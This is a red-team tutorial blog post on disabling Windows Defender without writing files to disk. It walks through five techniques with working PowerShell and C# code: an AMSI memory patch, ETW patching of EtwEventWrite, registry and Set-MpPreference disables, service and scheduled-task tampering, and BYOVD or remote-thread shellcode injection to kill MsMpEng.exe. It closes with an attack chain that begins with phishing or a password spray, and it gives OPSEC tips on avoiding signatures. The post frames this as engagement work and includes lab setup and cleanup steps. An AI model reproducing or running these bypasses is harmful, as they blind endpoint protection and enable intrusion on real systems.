Disabling Windows Defender Without Dropping Files to Disk
Introduction
One of the first challenges on any Windows engagement is dealing with Windows Defender. Modern Defender is no longer the pushover it was five years ago. It integrates with AMSI, monitors ETW telemetry, and uses cloud-based ML models to catch both known and unknown threats.
The instinct for most beginners is to disable it by dropping a script or binary to disk. That approach is noisy, leaves artifacts, and gets caught. The better approach is to blind, patch, or kill Defender entirely from memory, leaving no trace on the file system.
This post covers five techniques to do exactly that:
- PowerShell AMSI Bypass — patching the AMSI scan buffer in memory
- ETW Patching — blinding Defender’s telemetry pipeline
- Registry-based Defender disable — modifying keys without touching disk
- Task Scheduler and Service Tampering — disrupting Defender’s operational components
- Process Injection to kill Defender — terminating protected processes via injection
Lab Setup
All techniques in this post were tested in an isolated lab. The following configuration is recommended before working through any section.
Test machine:
- Windows 10 22H2 or Windows 11 23H2 (x64), fully updated
- Windows Defender enabled with up-to-date definitions
- PowerShell 5.1 — behaviour differs on PowerShell 7, use the default 5.1 for all tests here
Snapshot discipline:
- Take a clean snapshot with Defender enabled and fully updated before testing each technique
- Revert between techniques: AMSI and ETW patches are per-session, but registry and service changes persist across reboots
- Suggested naming:
clean-defender-on,tamper-off-clean,post-amsi-patch
Tamper Protection:
- Techniques 1 and 2 (AMSI, ETW patching) work regardless of Tamper Protection state
- Techniques 3 and 4 (registry, service tampering) require Tamper Protection to be off
- Disable it via: Windows Security → Virus & threat protection → Manage settings → Tamper Protection → Off
- Re-enable before reverting to a clean snapshot
Monitoring (optional but recommended):
- Install Sysmon with a standard config (SwiftOnSecurity or Olaf Hartong) to observe what telemetry each technique generates and what a blue team would see
- Event Viewer → Windows Logs → Security for service state changes (Event ID 7036) and PowerShell Script Block logging (Event ID 4104)
Attacker machine:
- Kali Linux or any Linux VM on a host-only or NAT network alongside the Windows VM
python3 -m http.server 8000for payload delivery where needed
Understanding the Threat Model
Before jumping into techniques, it helps to understand what you are actually trying to defeat. Windows Defender in a modern Windows 10/11 or Server 2019+ environment consists of several interlocking components:
| Component | Role | What Defeats It |
|---|---|---|
| AMSI | Scans PowerShell, VBScript, JScript at runtime | Memory patching |
| MpsSvc | Core Defender service | Service tampering, injection |
| ETW providers | Feeds telemetry to Defender | ETW patching |
| WdFilter.sys | Kernel-level file system filter | Requires kernel access |
| Cloud protection | ML-based cloud scanning | Network isolation or bypassing AMSI first |
| Tamper Protection | Prevents registry/service modification | Must be disabled via GUI or MEM first |
Check Tamper Protection status from PowerShell:
Get-MpComputerStatus | Select-Object IsTamperProtected, AMSIEnabled, RealTimeProtectionEnabledTechnique 1 — PowerShell AMSI Bypass
How AMSI Works
AMSI (Antimalware Scan Interface) hooks into the PowerShell runtime and passes every script block to the registered AV provider, in this case Defender, before execution. The key function is AmsiScanBuffer inside amsi.dll, which is loaded into every PowerShell process.
The bypass works by patching the AmsiScanBuffer function in memory to always return AMSI_RESULT_CLEAN, effectively telling PowerShell that everything it runs is clean.
The Bypass
This is the classic in-memory patch. It uses reflection to locate amsi.dll in the current process and overwrites the first bytes of AmsiScanBuffer with a ret instruction. For all seven documented AMSI bypass techniques including context corruption, ETW suppression, and hardware breakpoints, see the full AMSI Bypass Techniques
reference.
$a = [Ref].Assembly.GetTypes() | ForEach-Object {
if ($_.Name -like "*iUtils*") { $_ }
}
$b = $a.GetFields('NonPublic,Static') | ForEach-Object {
if ($_.Name -like "*Context*") { $_ }
}
$c = $b.GetValue($null)
[IntPtr]$ptr = $c
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57,[UInt32]0x00,[UInt32]0x07,[UInt32]0x80,[UInt32]0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)This patches amsi.dll in the current PowerShell process memory. After running this, any subsequent PowerShell commands in the same session bypass AMSI entirely.
Verify the Bypass Worked
# This string is flagged by AMSI by default
# If AMSI is patched it will not trigger a block
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')OPSEC Notes
- This patch only applies to the current PowerShell process. Each new session needs to be patched again
- The string patterns in the bypass itself may be flagged by AMSI before the patch completes: obfuscate variable names and string literals
- Avoid copy-pasting known public bypass strings. Defender signatures cover most popular ones
Technique 2 — ETW Patching
How ETW Feeds Defender
Event Tracing for Windows (ETW) is a kernel-level logging infrastructure. The Microsoft-Windows-PowerShell ETW provider sends real-time telemetry about script block execution directly to Defender. Even if AMSI is bypassed, ETW can still catch malicious activity by logging what PowerShell is executing.
Patching ETW in the current process stops this telemetry from being sent, effectively blinding Defender to what is running in that session.
The Patch
The target is EtwEventWrite inside ntdll.dll. Patching it with a ret instruction causes all ETW write calls in the current process to silently return without sending any data:
1function Invoke-ETWPatch {
2 Add-Type -TypeDefinition @"
3using System;
4using System.Runtime.InteropServices;
5public class ETWPatch {
6 [DllImport("kernel32.dll")]
7 public static extern IntPtr GetModuleHandle(string lpModuleName);
8 [DllImport("kernel32.dll")]
9 public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
10 [DllImport("kernel32.dll")]
11 public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
12 uint flNewProtect, out uint lpflOldProtect);
13 [DllImport("kernel32.dll")]
14 public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
15 byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
16 [DllImport("kernel32.dll")]
17 public static extern IntPtr GetCurrentProcess();
18}
19"@
20 $ntdll = [ETWPatch]::GetModuleHandle("ntdll.dll")
21 $etwAddr = [ETWPatch]::GetProcAddress($ntdll, "EtwEventWrite")
22
23 $oldProtect = 0
24 [ETWPatch]::VirtualProtect($etwAddr, [UIntPtr]::new(1), 0x40, [ref]$oldProtect) | Out-Null
25
26 $written = 0
27 [ETWPatch]::WriteProcessMemory(
28 [ETWPatch]::GetCurrentProcess(), $etwAddr, [byte[]](0xC3), 1, [ref]$written
29 ) | Out-Null
30
31 [ETWPatch]::VirtualProtect($etwAddr, [UIntPtr]::new(1), $oldProtect, [ref]$oldProtect) | Out-Null
32 Write-Host "[+] EtwEventWrite patched at 0x$($etwAddr.ToString('X')) — ETW blinded in current process"
33}
34
35Invoke-ETWPatchETWPatch via Add-Type. If you have already run the AMSI bypass ETW patch from the AMSI Bypass Techniques
page (which defines a class named NAPI), both will work independently. However, if you run this block a second time in the same PowerShell session, Add-Type will throw a type-already-defined error because compiled types persist for the session lifetime. Start a fresh session or rename the class if you need to re-run it.GetProcAddress resolves EtwEventWrite by name at runtime, with no hardcoded offsets, working across all Windows builds. VirtualProtect with 0x40 (PAGE_EXECUTE_READWRITE) makes the memory writable before the patch, then restores the original protection afterward to avoid leaving an anomalous RWX page.The equivalent C# approach used in implants follows the same pattern:
// C# equivalent used in implants
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
VirtualProtect(etwAddr, 1, 0x40, out _);
Marshal.WriteByte(etwAddr, 0xC3); // retOPSEC Notes
- Like AMSI patching, this is per-process. It only blinds ETW in the current session
- Kernel ETW providers are unaffected. This only patches user-mode telemetry
- Combined with AMSI patching, this covers the two main visibility channels Defender has into PowerShell execution
Technique 3 — Registry-Based Defender Disable
The Approach
When Tamper Protection is disabled, Windows Defender’s behaviour can be controlled entirely through registry keys. The relevant keys live under:
HKLM:\SOFTWARE\Policies\Microsoft\Windows DefenderThese policy keys override user-level settings and are typically used by enterprise GPO, but they work just as well when set manually.
Disabling Real-Time Protection
1# Check Tamper Protection first
2$status = Get-MpComputerStatus
3if ($status.IsTamperProtected) {
4 Write-Host "Tamper Protection is ON - registry method will fail"
5} else {
6 # Disable real-time monitoring
7 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
8 -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
9
10 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" `
11 -Name "DisableRealtimeMonitoring" -Value 1 -Type DWord -Force
12
13 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" `
14 -Name "DisableBehaviorMonitoring" -Value 1 -Type DWord -Force
15
16 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" `
17 -Name "DisableIOAVProtection" -Value 1 -Type DWord -Force
18}Disabling via MpPreference (no disk touch)
1# These run entirely in memory via the Defender management API
2Set-MpPreference -DisableRealtimeMonitoring $true
3Set-MpPreference -DisableBehaviorMonitoring $true
4Set-MpPreference -DisableBlockAtFirstSeen $true
5Set-MpPreference -DisableIOAVProtection $true
6Set-MpPreference -DisablePrivacyMode $true
7Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
8Set-MpPreference -DisableArchiveScanning $true
9Set-MpPreference -DisableIntrusionPreventionSystem $true
10Set-MpPreference -DisableScriptScanning $true
11Set-MpPreference -SubmitSamplesConsent 2OPSEC Notes
- Requires local administrator privileges minimum
- Requires Tamper Protection to be off. This is the most common failure point
- Registry changes persist across reboots. Clean up after the engagement
- In domain environments, GPO may re-apply Defender settings on next policy refresh. Check
gpresult /rto understand the policy landscape
Technique 4 — Task Scheduler and Service Tampering
Disrupting Defender via Services
Windows Defender runs as several interdependent services. Stopping or disabling the right ones cascades into full protection loss:
| Service Name | Display Name | Role |
|---|---|---|
| WinDefend | Windows Defender Antivirus Service | Core scanning engine |
| WdNisSvc | Network Inspection Service | Network-based threat detection |
| WdNisDrv | Network Inspection Driver | Kernel network driver |
| Sense | Windows Defender Advanced Threat Protection | EDR/ATP component |
1# Stop and disable core Defender services
2$services = @("WinDefend", "WdNisSvc", "Sense")
3
4foreach ($svc in $services) {
5 try {
6 Stop-Service -Name $svc -Force -ErrorAction Stop
7 Set-Service -Name $svc -StartupType Disabled
8 Write-Host "[+] Disabled: $svc"
9 } catch {
10 Write-Host "[-] Failed: $svc - $_"
11 }
12}WinDefend directly is blocked by Tamper Protection and Protected Process Light (PPL). If the service is PPL-protected, use the process injection technique in the next section instead.Disrupting Scheduled Tasks
Defender uses scheduled tasks for definition updates and periodic scans. Disabling these degrades its effectiveness over time:
# List all Defender scheduled tasks
Get-ScheduledTask -TaskPath "\Microsoft\Windows\Windows Defender\" |
Select-Object TaskName, State
# Disable all Defender scheduled tasks
Get-ScheduledTask -TaskPath "\Microsoft\Windows\Windows Defender\" |
Disable-ScheduledTaskOPSEC Notes
- Disabling services and tasks requires local administrator and is blocked by Tamper Protection
- These changes are highly visible in logs: Event ID 7036 (service state change) will fire for each service stopped
- Better used as a cleanup step after gaining SYSTEM rather than an initial bypass
Technique 5 — Process Injection to Kill Defender
The Problem with PPL
Modern Windows Defender runs as a Protected Process Light (PPL). This means even a local administrator cannot terminate, inject into, or modify the MsMpEng.exe process through normal Win32 API calls. TerminateProcess will return Access Denied.
To kill a PPL process you need either:
- A kernel driver with appropriate privileges
- A technique that abuses a trusted PPL process to do the work for you
- The
PPLdumporPPLKillerapproach using vulnerable signed drivers (BYOVD)
BYOVD — Bring Your Own Vulnerable Driver
The most reliable technique in red team engagements is BYOVD: loading a legitimately signed but vulnerable kernel driver and using it to kill PPL processes:
# Using PPLKiller (requires a vulnerable driver)
# This loads the driver and uses it to strip PPL from MsMpEng.exe
# Step 1 — Load the vulnerable driver (in memory via reflection, not dropped to disk)
# Step 2 — Use the driver's IOCTL interface to remove PPL protection from MsMpEng.exe
# Step 3 — Terminate MsMpEng.exe via standard TerminateProcess
# Example using the RTCore64 vulnerable driver technique
$driverPath = "\\.\RTCore64" # Access after loading the driverAlternative — Shellcode Injection via Sacrificial Process
If BYOVD is not available, an alternative is to inject shellcode into a sacrificial process that already has sufficient privileges, and use that process to interact with Defender’s process space:
// Pseudocode — inject into a high-privilege process
// then use NtQuerySystemInformation to enumerate protected processes
// and NtTerminateProcess via the injected context
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
IntPtr allocMem = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocMem, shellcode, shellcode.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocMem, IntPtr.Zero, 0, out _);OPSEC Notes
- BYOVD is very effective but the vulnerable driver itself may be flagged by Defender. Load it from memory, not disk
- Process injection generates Sysmon Event ID 8 (CreateRemoteThread). Expect detection if a blue team is watching
- This technique is best reserved for engagements where stealth is less critical than full Defender removal
Chaining the Techniques — A Practical Attack Flow
In a real engagement these techniques are rarely used in isolation. Here is a practical flow for a standard Windows target:
1. Land on target — initial shell via phishing, exploit, or password spray
2. Check Tamper Protection status
└── Get-MpComputerStatus | Select IsTamperProtected
3. If Tamper Protection OFF:
└── Registry disable via Set-MpPreference (cleanest, no disk touch)
└── Disable scheduled tasks for persistence degradation
4. If Tamper Protection ON:
└── AMSI patch first (needed to run further PowerShell safely)
└── ETW patch (blind telemetry in current session)
└── Escalate to SYSTEM
└── Use BYOVD or PPLKiller to strip/kill MsMpEng.exe
└── Then apply registry disable once PPL is gone
5. Verify Defender is fully disabled
└── Get-MpComputerStatus
└── Test with a known-bad string or EICAR string in memoryVerification — Confirming Defender is Blind
After applying your chosen technique, verify the state:
1# Full status check
2Get-MpComputerStatus | Select-Object `
3 AMSIEnabled, `
4 RealTimeProtectionEnabled, `
5 IsTamperProtected, `
6 AntivirusEnabled, `
7 BehaviorMonitorEnabled, `
8 IoavProtectionEnabled, `
9 NISEnabled
10
11# Check service states
12Get-Service WinDefend, WdNisSvc | Select-Object Name, Status, StartTypeAll protection fields should return False or services should show Stopped if the bypass was successful.
Cleanup
Always clean up after an engagement. Leaving Defender disabled on a client system is an engagement failure from an OPSEC standpoint:
1# Re-enable real-time protection
2Set-MpPreference -DisableRealtimeMonitoring $false
3Set-MpPreference -DisableBehaviorMonitoring $false
4
5# Re-enable scheduled tasks
6Get-ScheduledTask -TaskPath "\Microsoft\Windows\Windows Defender\" |
7 Enable-ScheduledTask
8
9# Remove registry keys if set
10Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
11 -Name "DisableAntiSpyware" -ErrorAction SilentlyContinue
12
13# Re-enable services
14Set-Service -Name WinDefend -StartupType Automatic
15Start-Service -Name WinDefendKey Takeaways
- Check Tamper Protection first — it is the single biggest blocker and determines which techniques are viable
- AMSI + ETW patching is your minimum viable bypass for any PowerShell-heavy engagement — do this first, every time
- Registry disable is the cleanest full-disable when Tamper Protection is off — no disk artifacts, reversible
- BYOVD is the most powerful technique for PPL-protected processes but carries the highest detection risk
- Never leave Defender disabled after an engagement — clean up every change you make